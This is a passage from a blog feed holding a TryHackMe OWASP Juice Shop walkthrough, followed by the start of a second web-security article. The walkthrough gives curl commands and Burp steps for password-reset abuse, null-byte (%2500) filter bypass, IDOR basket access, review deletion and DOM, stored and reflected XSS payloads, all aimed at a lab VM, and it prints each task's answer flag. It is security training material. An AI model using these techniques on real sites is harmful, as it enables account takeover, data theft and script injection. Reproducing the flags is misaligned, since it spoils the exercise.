&quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  --data &quot;email=jim@juice-sh.op&quot; -v<br># then post the answer/new password (endpoint based on UI; capture with Burp)<br>curl -s -X POST &quot;http://VM_IP/rest/user/reset-password&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;email&quot;:&quot;jim@juice-sh.op&quot;,&quot;securityAnswer&quot;:&quot;Samuel&quot;,&quot;newPassword&quot;:&quot;NewPass123!&quot;}&#39; -v</pre><p>Adjust the endpoint paths to those you captured in Burp.</p><h3>7) Troubleshooting &amp; common pitfalls</h3><ul><li><strong>Hydra failing:</strong> make sure you use the correct form path and exact POST body names. Use Burp to confirm. If you can’t determine a failure string, run a small Intruder batch in Burp and inspect status codes.</li><li><strong>Intruder too slow (Community edition):</strong> filter responses by length / status codes to identify successes more quickly.</li><li><strong>Reset form not showing security question:</strong> ensure you used the correct email (Jim’s exact email from Task 2).</li><li><strong>Case sensitivity:</strong> security answers may be case sensitive; try capitalization Samuel vs samuel.</li><li><strong>JSON vs form encoding:</strong> confirm content-type in Burp. Use JSON formatting if the app expects it.</li></ul><h3>Task 5: AH! Don’t look! (Sensitive Data Exposure)</h3><p><strong>Goals (Task 5):</strong></p><ul><li><strong>Q1:</strong> Access/download the confidential document (acquisitions.md) from the exposed FTP location and submit the flag.</li><li><strong>Q2: </strong>Log into the MC SafeSearch account using the password clue from the video.</li><li><strong>Q3:</strong> Download the backup file (package.json.bak) despite a 403 bypassing extension check with a poison null byte trick.</li></ul><p><strong>Tools required:</strong></p><ul><li>Browser + Burp Suite (Proxy, Repeater)</li><li>curl, wget, or ftp client (Kali has these)</li><li>A text editor or jq for inspecting JSON if necessary</li><li>VM_IP replace with the IP of your TryHackMe Juice Shop VM</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp:</li></ol><pre>burpsuite &amp;</pre><ol><li>Configure your browser to use Burp at 127.0.0.1:8080.</li><li>Set Burp Proxy → Intercept = <strong>OFF</strong> while browsing for reconnaissance.</li></ol><h3>Q1: Access the Confidential Document (acquisitions.md)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q3G_pD4ua8J1tUG_.png" /></figure><h3>Why? / where?</h3><p>The Juice Shop demo hosts an FTP-ish directory exposed via /ftp/ (or a route linked under About/Legal). The file acquisitions.md contains the data you need to submit for the flag.</p><h3>Steps (UI + Burp)</h3><ol><li>Browse the app; open <strong>About</strong> / <strong>Legal</strong> or the linked FTP path (look in footer or the /about page).</li><li>Note the link /ftp/ or /ftp/acquisitions.md. Click the link to confirm the file is downloadable.</li></ol><h3>Command-line download (curl/wget)</h3><p>Use curl to fetch the file directly (replace VM_IP):</p><pre># Try download acquisitions.md (direct)<br>curl -s -o acquisitions.md &quot;http://VM_IP/ftp/acquisitions.md&quot;<br># Or<br>wget -q -O acquisitions.md &quot;http://VM_IP/ftp/acquisitions.md&quot;</pre><p>If the file saved, inspect it:</p><pre>cat acquisitions.md</pre><p>You should see the content that the room expects. After downloading and visiting the homepage (or following the room instructions), the site will validate and return the flag.</p><p><strong>Task 5 - Q1 ( Access the Confidential Document!):</strong></p><blockquote><strong>ans:</strong> 8d2072c6b0a455608ca1a293dc0c9579883fc6a5</blockquote><p>Submit that in TryHackMe.</p><h3>Q2: Log into MC SafeSearch’s account</h3><h3>How we got the password</h3><p>The presenter identified a song/video clue where the password phrase was “Mr. Noodles” but with vowels replaced by zeros. That gives Mr N00dles (capitalization may vary; try the exact casing used in the walkthrough).</p><h3>Steps (UI)</h3><ol><li>Go to <strong>Account → Login</strong> (or /#/login).</li><li>Enter the MC SafeSearch email (from site/reviews or Task 5 hints). The walkthrough used:</li></ol><pre>mc.safesearch@juice-sh.op</pre><ol><li>Try the password: MrN00dles or Mr. N00dles</li></ol><p>The walkthrough used Mr N00dles without punctuation — use MrN00dles if the first form fails.</p><h3>Using curl to verify login (optional)</h3><p>If the login endpoint is /rest/user/login (adjust to what you captured in Burp):</p><pre>curl -s -X POST &quot;http://VM_IP/rest/user/login&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;email&quot;:&quot;mc.safesearch@juice-sh.op&quot;,&quot;password&quot;:&quot;MrN00dles&quot;}&#39; -v</pre><p>Check for 200 OK or JSON token response. If successful, proceed to the UI to confirm account access and capture the flag.</p><p><strong>Task 5 - Q2 (Log into MC SafeSearch’s account!):</strong></p><blockquote><strong>ans:</strong> bb105418e73708ceccf1a7b2491f434b8f5230e4</blockquote><p>Submit that on TryHackMe.</p><h3>Q3: Download the backup file (package.json.bak) using Poison Null Byte</h3><h3>Problem</h3><p>The FTP route blocks download of .bak files and only allows .md or .pdf. Direct GET returns 403. We can abuse how the server validates file name by appending a null byte %00 (Poison Null Byte) then .md. Many file filters check the filename extension by string comparison, but underlying file handling may stop at the null byte. Because browsers encode %00 inside URLs, we use double-encoding trick %2500 (URL-encoded %00), or a single %00 may suffice depending on the server.</p><h3>Steps and explanation:</h3><ol><li>Confirm direct fetch fails:</li></ol><pre>curl -I &quot;http://VM_IP/ftp/package.json.bak&quot;<br># you should get HTTP/1.1 403 Forbidden (or similar)</pre><ol><li>Try poison null byte trick by appending %00.md (encoded as %2500.md in some contexts). Try both forms servers behave differently.</li></ol><p><strong>Try direct null byte encoding (first attempt):</strong></p><pre># Note: many clients/systems will not allow literal %00; still try:<br>curl -s -o package.json.bak &quot;http://VM_IP/ftp/package.json.bak%00.md&quot;</pre><p><strong>If the server rejects </strong><strong>%00 directly, use double-encoding (safe option):</strong></p><pre># Double-encoded: %2500 is the percent-encoded representation of %00<br>curl -s -o package.json.bak &quot;http://VM_IP/ftp/package.json.bak%2500.md&quot;</pre><ol><li>If curl saved the file, inspect it:</li></ol><pre>file package.json.bak || true<br>ls -l package.json.bak<br>head -n 20 package.json.bak</pre><ol><li>If the file looks like JSON (package file), open it and look for the flag or follow the room instructions (the site may require you to submit content or visit homepage after download to get the flag).</li></ol><h3>Why %2500 works?</h3><ul><li>%00 is the URL-encoded representation of the null byte (NUL). Some web servers or filters compare filename extensions and mistakenly treat the bytes after the null as not part of the filename; double-encoding (%2500) sometimes bypasses input sanitization so the underlying server sees the %00 as a null and opens the original file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-e6MWVpeozPQLImT.png" /></figure><h3>Command-line example that worked in the walkthrough</h3><pre>curl -s -o package.json.bak &quot;http://VM_IP/ftp/package.json.bak%2500.md&quot;</pre><p>After retrieving the file (or after the site detects your download), the TryHackMe challenge registers completion.</p><p><strong>Task 5 - Q3 (Download the Backup file!):</strong></p><blockquote><strong>ans:</strong> cfdeea14e8f01b4952722fd0e4a77f1928593c9a</blockquote><p>Submit that on TryHackMe.</p><h3>Extra: Burp method to test and confirm</h3><ol><li>In Burp Proxy, Intercept = <strong>ON</strong>.</li><li>In browser paste the URL with %2500.md and hit Enter. Burp will capture the GET request.</li><li>Forward the request and inspect the response body/headers. If the server returns the file contents, the attack succeeded. Save the response to disk from Burp: right-click → <strong>Save response</strong>.</li></ol><h3>Quick troubleshooting &amp; tips</h3><ul><li>If %2500 fails, try %00 directly (some servers accept it), or try combinations like .bak%00.md, .bak%00, or try surrounding with quotes (rare).</li><li>Some modern servers fully normalize/validate filenames and null-byte tricks no longer work. Try the exact trick the room hints recommend (%2500.md).</li><li>If curl saves an HTML page instead of the file, open it and search for clues sometimes the app returns helpful error pages.</li><li>Make sure you replaced VM_IP correctly with the machine IP provided by TryHackMe.</li></ul><h3>Task 6: Who’s flying this thing? (Broken Access Control)</h3><p><strong>Goals (Task 6):</strong></p><ul><li><strong>Q1: </strong>Access the administration page (discover admin route).</li><li><strong>Q2: </strong>View another user’s shopping basket by manipulating the basket ID.</li><li><strong>Q3:</strong> Remove all 5-star reviews (identify 5-star entries and remove them).</li></ul><p><strong>Tools required:</strong></p><ul><li>Browser + Burp Suite (Proxy, Repeater, Intruder)</li><li>curl / jq (optional)</li><li>VM_IP replace with your TryHackMe machine IP</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Launch Burp:</li></ol><pre>burpsuite &amp;</pre><ol><li>Configure your browser proxy to 127.0.0.1:8080.</li><li>Set Burp Proxy → Intercept = <strong>OFF</strong> for reconnaissance; switch <strong>ON</strong> when you need to capture or modify requests.</li></ol><h3>Q1: Access the administration page (find /#/administration)</h3><h3>Why? / how?</h3><p>Client-side JavaScript often contains hints about routes. The main-es2015.js or main.js bundle commonly includes strings that point to the admin route (/#/administration). The page itself may block unauthenticated access (403), so you must be logged in as an admin or use a previously obtained admin session.</p><h3>Steps (UI + Burp)</h3><h4>A: Discovering the admin route</h4><ol><li>Browse the homepage and open DevTools (F12) → Console / Sources.</li><li>In DevTools Sources, find the main JS bundle (e.g., main-es2015.js, main.js, main.js.map, or runtime.js). Search inside it (Ctrl+F) for &quot;administration&quot; or /#/administration.</li><li>If found, note the route string.</li></ol><h4>B: Try to visit the route without login (confirm 403)</h4><ol><li>In the browser navigate to:</li></ol><pre>http://VM_IP/#/administration</pre><ol><li>You should see “403 Forbidden” or a message stating you are not allowed to access this page when unauthenticated.</li></ol><h4>C: Log in as admin and visit again</h4><ol><li>Log in as admin (use credentials you obtained earlier via SQLi/bruteforce).</li><li>After successful admin login, navigate again to:</li></ol><pre>http://VM_IP/#/administration</pre><ol><li>The page should load. If it does, you have accessed the admin page and completed the objective.</li></ol><p><strong>Burp Repeater verification (optional):</strong></p><ul><li>Capture the GET to /index.html or the hash route, or simply use the browser after login. No special API request is required; this is a client-side route visible only when authenticated.</li></ul><p><strong>Task 6 — Q1 (Access the administration page!):</strong></p><blockquote><strong>ans:</strong> 71aeb3b0bf01cc6e488f0207bb62f79b41454a87</blockquote><h3>Q2: View another user’s shopping basket (ID tampering)</h3><h3>Why? / how?</h3><p>APIs that expose resource IDs (e.g., /rest/basket/{id}) are susceptible to Insecure Direct Object Reference (IDOR). If you are authenticated as admin (or any user allowed to view baskets), you can change the basket ID in the request to see other users’ baskets.</p><h3>Steps (Burp + UI + curl)</h3><h4>A: Capture the basket request</h4><ol><li>In Burp → Proxy → Intercept <strong>ON</strong>.</li><li>In the Juice Shop UI (logged in as admin), click <strong>Your Basket</strong> (or the UI action that loads the basket).</li><li>Burp will intercept one or more requests. Look for a GET similar to:</li></ol><pre>GET /rest/basket/1 HTTP/1.1<br>Host: VM_IP</pre><ol><li>Right-click that captured request → <strong>Send to Repeater</strong> (or <strong>Copy</strong> → save the request).</li></ol><h4>B: Edit the basket ID and forward</h4><ol><li>In Repeater (or in the intercepted request), change the 1 to 2 (or other numeric IDs) in the request path:</li></ol><pre>GET /rest/basket/2 HTTP/1.1</pre><ol><li>Click <strong>Send</strong> (or forward the modified request).</li><li>Inspect the response body you should now see the contents of basket 2 (another user’s basket). The UI flag is often returned on that page or the response body contains the flag.</li></ol><p><strong>curl alternative (if you captured cookies / token):</strong></p><ul><li>If the site uses a session cookie, extract the session cookie from your browser/Burp and use it with curl:</li></ul><pre># Example: replace SESSION_COOKIE with your actual cookie value<br>curl -s -H &quot;Cookie: session=SESSION_COOKIE&quot; &quot;http://VM_IP/rest/basket/2&quot; | jq .</pre><p><strong>Important:</strong> Cookies or authorization headers must match an authenticated admin session for this to work.</p><p><strong>Task 6 — Q2 (View another user’s shopping basket!):</strong></p><blockquote><strong>ans:</strong> e6982b34b6734ceadd28e5019b251f929a80b815</blockquote><h3>Q3: Remove all 5-star reviews</h3><h3>Why? / how?</h3><p>The goal is to remove all five-star reviews. The Juice Shop exposes review objects via a REST API (commonly under /rest/products/{id}/reviews or /rest/reviews), and deletion or update endpoints are sometimes available for privileged users (admin). We will list reviews, identify those with a rating of 5, and delete them (or update them) using authenticated requests.</p><blockquote><em>Note: Exact endpoints vary by Juice Shop version. The instructions below cover the common approach: locate the reviews resource, enumerate review IDs, then send DELETE requests for 5-star entries.</em></blockquote><h3>Steps (Discovery → Delete): Burp + Repeater + curl</h3><h4>A: Discover the reviews endpoint</h4><ol><li>In DevTools or Burp Proxy → Site map, search for /rest/products or /rest/reviews.</li><li>In the UI, go to a product page and load reviews (network tab). You may see requests like:</li></ol><pre>GET /api/Products/{id}/reviews<br>GET /rest/products/1/reviews<br>GET /rest/reviews</pre><ol><li>Send an example request to Repeater to view the JSON structure; look for id, rating, message, author.</li></ol><h4>B: List all reviews and find 5-star IDs</h4><ol><li>In Burp Repeater, fetch the reviews list (or use curl with your admin session cookie):</li></ol><pre>curl -s -H &quot;Cookie: session=SESSION_COOKIE&quot; &quot;http://VM_IP/rest/reviews&quot; | jq .</pre><ol><li>Inspect the JSON and identify objects where &quot;rating&quot;:5. Note their id fields.</li></ol><p>Example returned JSON snippet:</p><pre>[<br>  {&quot;id&quot;: 12, &quot;rating&quot;: 5, &quot;message&quot;: &quot;Great!&quot;, &quot;author&quot;: &quot;john&quot;},<br>  {&quot;id&quot;: 13, &quot;rating&quot;: 4, &quot;message&quot;: &quot;Ok&quot;, &quot;author&quot;: &quot;alice&quot;}<br>]</pre><h4>C: Delete each 5-star review</h4><p>Most Juice Shop versions allow DELETE on /rest/reviews/{id} (admin required). Using Repeater or curl, perform:</p><pre># curl example: replace SESSION_COOKIE and ID<br>curl -s -X DELETE -H &quot;Cookie: session=SESSION_COOKIE&quot; &quot;http://VM_IP/rest/reviews/12&quot; -v</pre><p>Or in Burp Repeater:</p><ol><li>Right-click the GET to /rest/reviews/{id} → change method to DELETE.</li><li>Click <strong>Send</strong>. A successful delete often returns 200 OK or 204 No Content.</li></ol><p>Repeat for each id with rating 5.</p><h4>D: Verify deletion</h4><ol><li>Re-run the list:</li></ol><pre>curl -s -H &quot;Cookie: session=SESSION_COOKIE&quot; &quot;http://VM_IP/rest/reviews&quot; | jq .</pre><ol><li>Confirm no review objects have &quot;rating&quot;: 5.</li></ol><p>If the challenge is satisfied by the action, the site will award the flag (either in the response or via the UI).</p><p><strong>Alternative approach (if DELETE is not available):</strong> Some versions require you to edit the review (PUT) and change rating from 5 to something else:</p><pre>curl -s -X PUT -H &quot;Content-Type: application/json&quot; -H &quot;Cookie: session=SESSION_COOKIE&quot; \<br>  -d &#39;{&quot;rating&quot;:1,&quot;message&quot;:&quot;Edited&quot;,&quot;author&quot;:&quot;admin&quot;}&#39; &quot;http://VM_IP/rest/reviews/12&quot; -v</pre><p>Adjust payload to match the API schema.</p><p><strong>Task 6 — Q3 (Remove all 5-star reviews!):</strong></p><blockquote><strong>ans:</strong> 78231b75c0b2180b7e964dcbb1ab3c3f58639f2e</blockquote><h3>Troubleshooting &amp; tips</h3><ul><li><strong>Admin session required:</strong> All Q2/Q3 actions require an authenticated admin session. If you lose the session, re-login (or reuse the cookie captured earlier in Burp).</li><li><strong>Finding endpoints:</strong> If you can’t find /rest/reviews, search in the JS bundle for reviews or check the browser Network tab while loading a product or review UI.</li><li><strong>CSRF / protected methods:</strong> If DELETE/PUT are blocked by CSRF tokens, inspect the requests for an X-CSRF-Token header or form token and replay it along with your DELETE/PUT. Burp will let you capture and reuse tokens.</li><li><strong>Rate limiting:</strong> If the app rate limits or returns 429, pause between requests. This lab usually doesn’t enforce heavy rate limits.</li><li><strong>Different API paths:</strong> Juice Shop versions differ. If /rest/reviews doesn’t exist, try /api/Reviews, /api/Products/{id}/Reviews, or view what the UI calls in the Network tab to discover the exact path.</li></ul><h3>Task 7: Where did that come from? (XSS)</h3><p><strong>Goals (Task 7):</strong></p><ul><li><strong>Q1:</strong> Perform a DOM XSS (client-side) and capture the flag.</li><li><strong>Q2:</strong> Perform a persistent XSS (stored) and capture the flag.</li><li><strong>Q3:</strong> Perform a reflected XSS and capture the flag.</li></ul><p><strong>Tools required:</strong></p><ul><li>Browser + Burp Suite (Proxy, Repeater)</li><li>curl for HTTP requests (optional)</li><li>VM_IPreplace with your TryHackMe Juice Shop machine IP</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp:</li></ol><pre>burpsuite &amp;</pre><ol><li>Configure your browser proxy to 127.0.0.1:8080.</li><li>Set Burp Proxy → Intercept = <strong>OFF</strong> for reconnaissance; switch <strong>ON</strong> when you need to capture/modify requests.</li></ol><h3>Q1:DOM XSS (client-side) (trigger via search or reflected DOM parameter)</h3><h3>Background</h3><p>DOM XSS occurs when client-side JavaScript reads an unsafe value from the URL (hash/query) or DOM and uses it in a sink (e.g., innerHTML, eval) without sanitization. Juice Shop has search fields and client-side routing that often reflect q= or fragment values — good testing spots.</p><h3>Target &amp; payloads</h3><p>Try injecting a harmless test payload first:</p><pre>&lt;iframe src=&quot;javascript:alert(&#39;xss&#39;)&quot;&gt;</pre><p>Alternative compact payload that bypasses some filters:</p><h3>Steps (UI + Burp)</h3><ol><li>Open browser to:</li></ol><pre>http://VM_IP/#/search?q=test</pre><ol><li>Replace test with the DOM payload (URL-encode when needed). Example full URL:</li></ol><pre>http://VM_IP/#/search?q=%3Ciframe%20src%3D%22javascript:alert(&#39;xss&#39;)%22%3E</pre><ol><li>Load the URL. If the app reflects the q value into the page DOM unsafely, the payload executes in your browser and you see an alert. That triggers the Task 7 DOM XSS challenge.</li></ol><p><strong>Burp Repeater / Proxy method (optional):</strong></p><ul><li>With Intercept OFF, paste the crafted URL in the browser and let Burp record it; set Intercept ON if you want to inspect the request/response. No POST required this is a client-side route.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ldrecf3SwLX2XoWw.png" /></figure><p><strong>Task 7-Q1 (Perform a DOM XSS!):</strong></p><blockquote><strong>ans:</strong> 4a31a4fe0954199566e360a873802bf64d0d0a84</blockquote><h3>Q2: Persistent XSS (stored) Last Login IP injection via header spoofing</h3><h3>Background</h3><p>Persistent XSS is when user-supplied data is stored on the server and then rendered unsafely later (e.g., admin page showing “Last Login IP” that includes attacker-supplied content). In this room the “Last Login IP” can be manipulated by sending a header that the server records. If that recorded value is not sanitized, it will execute when the admin views the page.</p><h3>Payload (safe test)</h3><p>Use a JavaScript payload that displays a visible alert and is compact:</p><pre>&lt;img src=x onerror=alert(&#39;xss&#39;)&gt;</pre><h3>Steps (capture logout/login flow + header injection)</h3><ol><li>Log in as <strong>admin</strong> (you must be authenticated).</li><li>In Burp → Proxy → Intercept = <strong>ON</strong>.</li><li>In the Juice Shop UI, click <strong>Account → Log out</strong> (we want to capture the logout request that is followed by login which updates last login info). Burp will capture the request. Right-click → <strong>Send to Repeater</strong>.</li><li>Identify the request that the server uses to update last login (or capture the login flow). We will re-forward a request but inject a header that the server will record as last login IP.</li><li>In Repeater or the intercepted request, add or edit a header (commonly True-Client-IP, X-Forwarded-For, or X-Client-IP) and set it to your payload. Example header:</li></ol><pre>True-Client-IP: &lt;svg/onload=alert(&#39;XSS&#39;)&gt;</pre><p>OR (URL-encode header value if Burp or server manipulates it)</p><pre>True-Client-IP: %3Csvg%2Fonload%3Dalert(&#39;XSS&#39;)%3E</pre><ol><li>Forward the modified request (click <strong>Send</strong>). Then, in the browser, log back in as admin (or navigate to the “Last Login” page) so the page renders the stored value. If the stored value is rendered unsafely, your payload will execute when the admin loads the “Last Login IP” page.</li></ol><p><strong>curl example (if you have session cookie):</strong></p><pre>curl -s -X GET &quot;http://VM_IP/account/privacy&quot; \<br>  -H &quot;Cookie: session=SESSION_COOKIE&quot; \<br>  -H &quot;True-Client-IP: &lt;svg/onload=alert(&#39;XSS&#39;)&gt;&quot; -v</pre><p>(Adjust endpoint to the actual logout/login or privacy endpoint you captured in Burp.)</p><p><strong>Important:</strong> Use the exact header name the room expects; the walkthrough used a header named True-Client-IP (or similar). Inspect the intercepted logout/login requests to confirm.</p><p><strong>Task 7 - Q2 (Perform a persistent XSS!):</strong></p><blockquote><strong>ans:</strong> c37da14686b69a220fd9febd09bb9593e7d0539f</blockquote><h3>Q3: Reflected XSS (order history / track parameter injection)</h3><h3>Background</h3><p>Reflected XSS occurs when user input sent in a request is included in the server response without sanitization. The room hints that the “Order History” / “Track result” uses a parameter for id or trackId that can be manipulated to include a script.</p><h3>Target &amp; payloads</h3><p>Try injecting a compact payload via a URL parameter or path segment that the server echoes back into the page:</p><p>Payload:</p><pre>&quot;&gt;&lt;svg/onload=alert(&#39;reflected&#39;)&gt;//</pre><h3>Steps (UI + Burp)</h3><ol><li>Log in as <strong>admin</strong> (if required) and navigate to <strong>Order History</strong> (or the tracking page referenced by the room).</li><li>Observe how the track id is passed it might be a query string ?id=1234 or part of a JS route. Capture the request with Burp (Proxy Intercept ON) when you click the track link. Send that to Repeater.</li><li>Modify the parameter value to include the payload. Example:</li></ol><pre>GET /track?order=1234&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1</pre><p>or if it’s a path:</p><pre>GET /track/&quot;&gt;&lt;svg/onload=alert(&#39;reflected&#39;)&gt;/ HTTP/1.1</pre><ol><li>Send the modified request. If the server reflects that value into the HTML response without sanitization, it will execute in your browser (if you load the response through the browser) or will appear in the Repeater response body (you can copy the response into an HTML file and open it locally to trigger the payload).</li></ol><p><strong>Alternative: URL-based reflection</strong></p><ul><li>If the UI has a link like:</li></ul><pre>http://VM_IP/#/track-result?id=1234</pre><p>replace id with the payload (URL-encoded):</p><pre>http://VM_IP/#/track-result?id=%3Csvg%2Fonload%3Dalert(&#39;reflected&#39;)%3E</pre><p>and load it in the browser.</p><p><strong>Task 7 - Q3 (Perform a reflected XSS!):</strong></p><blockquote><strong>ans:</strong> 305021787d3e9cd9cebc057a021c2504550bb3b6</blockquote><h3>Troubleshooting &amp; tips</h3><ul><li><strong>No alert shows:</strong> try different payloads. Some inputs strip &lt;script&gt; but allow SVG/IMG onerror or javascript: in iframe SRC. Try variations:</li><li>&lt;svg/onload=alert(&#39;X&#39;)&gt;</li><li>&lt;img src=x onerror=alert(&#39;X&#39;)&gt;</li><li>&quot;&gt;&lt;svg/onload=alert(&#39;X&#39;)&gt;//</li><li><strong>Payload is encoded:</strong> If the app URL-encodes/HTML encodes characters, try double-encoding the payload or using alternate payloads that avoid &lt; &gt; characters (e.g., java​script:alert(1) inside an iframe src can work in some contexts).</li><li><strong>Client-side only (DOM XSS):</strong> If the payload appears in the response body but doesn’t execute, the app may sanitize or not insert into an executable sink. For DOM XSS try hash/fragments (#/search?q=) or locations where client JS sets innerHTML.</li><li><strong>Header injection not working:</strong> Try different header names: X-Forwarded-For, X-Client-IP, True-Client-IP. Confirm which header the app reads for last login via the logout/login requests in Burp.</li><li><strong>Session/auth required:</strong> Some XSS challenges require admin view to trigger (persistent). Make sure you are logged in as the appropriate role when checking the page.</li></ul><p>Good — here’s <strong>Task 8 (Exploration / Scoreboard)</strong> in the exact same clear, repeatable structure you’ve been using: step-by-step, command-by-command, Burp actions, optional curl examples, troubleshooting tips, and the TryHackMe flag. Replace VM_IP with your TryHackMe Juice Shop VM IP. Only run these steps against the authorized TryHackMe lab.</p><p><strong>LEGAL REMINDER:</strong> Only perform these actions on the TryHackMe Juice Shop instance or systems you have explicit permission to test.</p><h3>Task 8: Exploration! (Scoreboard &amp; extra challenges)</h3><p><strong>Goal (Task 8):</strong></p><ul><li><strong>Q1:</strong> Access the scoreboard page (/#/score-board/) and capture the flag.</li><li>Use the scoreboard to discover harder challenges you can attempt next.</li></ul><p><strong>Tools required:</strong></p><ul><li>Browser + Burp Suite (Proxy)</li><li>curl, jq (optional)</li><li>VM_IP replace with the TryHackMe Juice Shop machine IP</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp:</li></ol><pre>burpsuite &amp;</pre><ol><li>Configure your browser proxy to 127.0.0.1:8080.</li><li>Set Burp Proxy → Intercept = <strong>OFF</strong> for reconnaissance; switch <strong>ON</strong> only if you want to capture/inspect requests.</li></ol><h3>Q1: Access the Scoreboard page (/#/score-board/) and get the flag</h3><h3>Why? / how?</h3><p>The scoreboard lists completed and remaining challenges and is useful for discovering tougher tasks to practice. The Scoreboard is a client-side route in Juice Shop (hash route). Visiting the route in your browser triggers the app to load scoreboard data (often via an XHR/REST API). The TryHackMe task simply requires you to navigate to that page and the room system will award the flag.</p><h3>Steps (UI simplest, recommended)</h3><ol><li>Open your browser (already pointed at the Juice Shop VM).</li><li>Type or navigate to:</li></ol><pre>http://VM_IP/#/score-board/</pre><ol><li>Allow the page to load fully. The client-side app will call the scoreboard API and render the list of challenges and completion status.</li><li>The TryHackMe task will register the page load and provide the flag, or the flag will appear on the page/Task UI.</li></ol><p><strong>Task 8 — Q1 (Access the /#/score-board/ page):</strong></p><blockquote><strong>ans:</strong> 2614339936e8282e2f820f023d4d998a1f95e02a</blockquote><p>Submit that hash in TryHackMe.</p><h3>Advanced: Inspecting the scoreboard API (Burp / curl) useful for automation &amp; discovery</h3><p>If you want to see what the client calls to fetch the scoreboard (good for learning how the app organizes challenges), capture the network traffic:</p><h3>A: Using Burp (recommended)</h3><ol><li>In Burp → Proxy → Intercept = <strong>OFF</strong>.</li><li>In browser, open http://VM_IP/#/score-board/. Let it load.</li><li>In Burp → Proxy → HTTP history (or Target → Site map) look for requests that fired around the time you loaded the scoreboard. Filter by score or scoreboard keywords. Typical XHR endpoints include /rest/score-board, /api/scoreboard, or /rest/score depending on Juice Shop version.</li><li>Right-click a matching request → <strong>Send to Repeater</strong> to view the JSON response which usually contains the list of challenges, IDs, descriptions and completion status.</li></ol><h3>B: Using curl (if you find the API path)</h3><p>If Burp reveals an API endpoint (e.g., /rest/score-board), and it’s accessible without JS rendering, you can fetch it directly. Example (replace path with what you captured and include cookies if auth required):</p><pre># If the API is public:<br>curl -s &quot;http://VM_IP/rest/score-board&quot; | jq .</pre><pre># If the API requires a session cookie (replace SESSION_COOKIE)<br>curl -s -H &quot;Cookie: session=SESSION_COOKIE&quot; &quot;http://VM_IP/rest/score-board&quot; | jq .</pre><p><strong>Note:</strong> Many modern single-page apps use client-side rendering and the hash route; curl of the hash URL returns the app shell HTML, not the rendered scoreboard. Use Burp to inspect the XHR that returns JSON.</p><h3>Using the Scoreboard to plan your next moves</h3><ol><li>Open /score-board/ and review challenge list and difficulty levels.</li><li>Pick one or two high-value skills you want to practice (e.g., CSRF, advanced XSS, server-side file inclusion).</li><li>For each chosen challenge note the API route or hint text these often point to the resource you must manipulate.</li><li>Use Burp’s Repeater and Intruder to design payloads, or use sqlmap, hydra, etc., for more automated attempts when appropriate.</li></ol><h3>Troubleshooting &amp; tips</h3><ul><li><strong>Scoreboard page shows empty / 403:</strong> ensure your VM is running and reachable; try reloading the page and check Burp’s HTTP history for failed requests.</li><li><strong>Flag not awarded after visiting page:</strong> sometimes TryHackMe requires you to click a specific UI element on the page (e.g., “Open scoreboard” button) follow the in-room instructions precisely and refresh task page.</li><li><strong>Cannot find API call in Burp:</strong> use the browser Network tab (F12 → Network) and filter XHR requests; then send the request URL to Burp to examine the JSON response.</li><li><strong>Client-side route only:</strong> remember curl http://VM_IP/#/score-board/ will fetch the app shell HTML; inspect XHR calls instead.</li></ul><h3>Conclusion</h3><blockquote>Completing the <strong>OWASP Juice Shop</strong> TryHackMe room is more than a checklist of flags; it’s a compact curriculum in how real web applications fail and how defenders should think. In this walkthrough we moved from basic reconnaissance to SQL injection, brute-forcing, password-reset abuse, sensitive file disclosure, broken access control, and multiple XSS flavors each task reinforcing a single truth: small oversights in code or configuration become large attack surfaces in production. Treat every review, script file, header, and URL parameter as potential evidence in an attack chain.</blockquote><blockquote>If you take one thing away, let it be this: practice deliberately. Try the challenges yourself before reading solutions, break down why each exploit worked, and then ask how you would fix it as a developer. That loop attack, explain, defend turns tools and techniques into judgment and safer software.</blockquote><blockquote>A few practical next steps:</blockquote><blockquote>Replay the room and keep a short lab notebook with the exact payloads and where they worked.</blockquote><blockquote>Harden a small demo app by applying the fixes you learned (input validation, least privilege, secure password resets, proper header handling).</blockquote><blockquote>Move on to harder scoreboard challenges and repeat the same learn/explain/defend cycle.</blockquote><blockquote>Thanks for reading if you found this useful, try the room yourself at TryHackMe and connect with me: Written by <strong>Yousef Amr (</strong><a href="https://www.linkedin.com/in/elbish1"><strong>LinkedIn </strong></a><em>, </em><a href="https://tryhackme.com/p/elbish1"><strong>TryHackMe</strong></a>) Keep learning, stay curious, and always test responsibly.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d3229595cc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ Web Security Essentials: A TryHackMe Walkthrough]]></title>
            <link>https://elbish.medium.com/%EF%B8%8F-web-security-essentials-a-tryhackme-walkthrough-66d1548c4622?source=rss-2a66e1fc7abd------2</link>
            <guid isPermaLink="false">https://medium.com/p/66d1548c4622</guid>
            <dc:creator><![CDATA[Yousef Amr]]></dc:creator>
            <pubDate>Wed, 27 Aug 2025 21:46:15 GMT</pubDate>
            <atom:updated>2025-08-27T21:49:44.106Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Written by </em><strong><em>Yousef Amr (</em></strong><a href="https://www.linkedin.com/in/elbish1"><strong><em>LinkedIn </em></strong></a>, <a href="https://tryhackme.com/p/elbish1"><strong><em>TryHackMe</em></strong></a><em>)</em></blockquote><blockquote>The web connects our lives in every click, message, and transaction. But this connectivity also opens doors to malicious actors eager to exploit weaknesses. As businesses and individuals shift from desktop to web-based solutions, the need for strong, layered security has become essential.</blockquote><blockquote>This guide, created by <a href="https://www.linkedin.com/in/elbish1"><strong>Yousef Amr</strong></a> helps learners, developers, and aspiring ethical hackers build a clear understanding of how web applications, servers, and host machines can be secured. It walks you through the evolution of web technologies, reveals where vulnerabilities hide, and shares practical best practices to strengthen your defenses. Whether you are just starting on TryHackMe or refining your fundamentals, this article will guide you step by step.</blockquote><figure><img alt="" 